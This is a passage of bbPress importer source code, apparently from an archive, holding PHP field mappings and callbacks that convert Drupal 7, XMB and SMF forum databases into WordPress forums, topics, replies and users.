			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'name',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'mail',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'created',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'signature',
			'to_fieldname'    => '_bbp_drupal7_user_sig',
			'to_type'         => 'user',
			'callback_method' => 'callback_html'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the post status from Drupal v7.x numerics to WordPress's
	 * strings.
	 *
	 * @param int $status Drupal v7.x numeric post status
	 * @return string WordPress safe
	 */
	public function callback_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'pending'; // bbp_get_pending_status_id()
				break;

			case 1  :
			default :
				$status = 'publish'; // bbp_get_public_status_id()
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from Drupal v7.x numerics to WordPress's strings.
	 *
	 * @param int $status Drupal v7.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 2 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 2  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from Drupal v7.x numerics to WordPress's strings.
	 *
	 * @param int $status Drupal v7.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky'; // Drupal Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal'; // Drupal Normal Topic 'sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count Drupal v7.x topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/XMB.php000066600000050475151771460310013017 0ustar00<?php

/**
 * bbPress XMB Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of XMB Forum converter.
 *
 * @since 2.5.0 bbPress (r5143)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/xmb
 */
class XMB extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'fid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'fup',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'threads',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'threads',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'displayorder',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 'group', Forum = 'forum' or 'sub', Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'type',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'threads',
			'from_fieldname' => 'tid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'fid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		// Note: We join the 'members' table because 'threads' table does not have numerical author id.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'uid',
			'join_tablename'  => 'threads',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON threads.author = members.username',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'author',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'uid',
			'join_tablename'  => 'threads',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON threads.author = members.username  WHERE posts.subject = ""',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		// Note: We join the 'posts' table because 'threads' table does not have author ip.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'useip',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'threads' table does not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'threads',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'fid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic status (Open or Closed, XMB v1.9.11.13 ''=open & 'yes'=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'topped',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		// Note: We join the 'posts' table because 'threads' table does not include dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE posts.subject != ""',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		/** Tags Section ******************************************************/

		/**
		 * XMB v1.9.11.13 Forums do not support topic tags out of the box
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'pid',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'fid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'tid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'useip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		// Note: We join the 'members' table because 'posts' table does not have numerical author id.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'uid',
			'join_tablename'  => 'posts',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON posts.author = members.username WHERE posts.subject = ""',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'author',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_author_name_id'
		);

		// Is the reply anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'uid',
			'join_tablename'  => 'posts',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON posts.author = members.username WHERE posts.subject = ""',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_is_reply_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'tid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'uid',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old User password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old User Salt (This is only used for the SELECT row info for the above password save)
//		$this->field_map[] = array(
//			'from_tablename' => 'members',
//			'from_fieldname' => 'salt',
//			'to_type'        => 'user',
//			'to_fieldname'   => ''
//		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'members',
			'to_fieldname' => '_bbp_class',
			'default'      => 'XMB'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'site',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'regdate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User AIM (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'aim',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_aim'
		);

		// User Yahoo (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'yahoo',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_yim'
		);

		// Store ICQ (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'icq',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_icq'
		);

		// Store MSN (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'msn',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_msn'
		);

		// Store Signature (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'sig',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xmb_user_sig',
			'callback_method' => 'callback_html'
		);

		// Store Bio (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'members',
			'from_fieldname'  => 'bio',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_xmb_user_bio',
			'callback_method' => 'callback_html'
		);

		// Store Location (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'location',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_location'
		);

		// Store Avatar (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'avatar',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_avatar'
		);

		// Store Mood (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'members',
			'from_fieldname' => 'mood',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_xmb_user_mood'
		);

	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from XMB v1.9.11.13 Capitalised case to WordPress's non-capatilise case strings.
	 *
	 * @param int $status XMB v1.9.11.13 numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 1 ) {
		switch ( $status ) {
			case 'group' :
				$status = 'category';
				break;

			case 'sub' :
				$status = 'forum';
				break;

			case 'forum' :
			default :
				$status = 'forum';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from XMB v1.9.11.13 numerics to WordPress's strings.
	 *
	 * @param int $status XMB v1.9.11.13 numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = '' ) {
		switch ( $status ) {
			case 'yes' :
				$status = 'closed';
				break;

			case ''  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from XMB v1.9.11.13 numerics to WordPress's strings.
	 *
	 * @param int $status XMB v1.9.11.13 numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // XMB Sticky 'topped = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // XMB Normal Topic 'topped = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count XMB v1.9.11.13 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/SMF.php000066600000060567151771460310013021 0ustar00<?php

/**
 * bbPress SMF Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of SMF Forum converter.
 *
 * @since 2.5.0 bbPress (r5189)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/smf
 */
class SMF extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section ******************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'id_board',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'boards',
			'from_fieldname'  => 'id_parent',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'num_topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'num_posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'num_topics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'num_posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'boards',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'boards',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'boards',
			'from_fieldname' => 'board_order',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'log_notify',
			'from_fieldname'  => 'id_board',
			'from_expression' => 'WHERE log_notify.id_board != 0',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'log_notify',
			'from_fieldname'  => 'id_member',
			'from_expression' => 'WHERE log_notify.id_board != 0',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section ******************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'topics',
			'from_fieldname' => 'id_topic',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'num_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'num_replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'id_board',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'id_member_started',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author name (Stored in postmeta as _bbp_anonymous_name)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_name',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_author_name_id'
		);

		// Is the topic anonymous (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'id_member_started',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_is_topic_anonymous_id',
			'callback_method' => 'callback_check_anonymous'
		);

		// Topic Author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'poster_ip',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'messages' table because 'topics' table does not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'body',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'subject',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'messages',
			'from_fieldname'  => 'subject',
			'join_tablename'  => 'topics',
			'join_type'       => 'LEFT',
			'join_expression' => 'ON topics.id_first_msg = messages.id_msg',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'id_board',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic status (Open or Closed, SMF v2.0.4 0=open & 1=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'locked',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics',
			'from_fieldname'  => 'is_sticky',
			'to_type'         => 'topic',
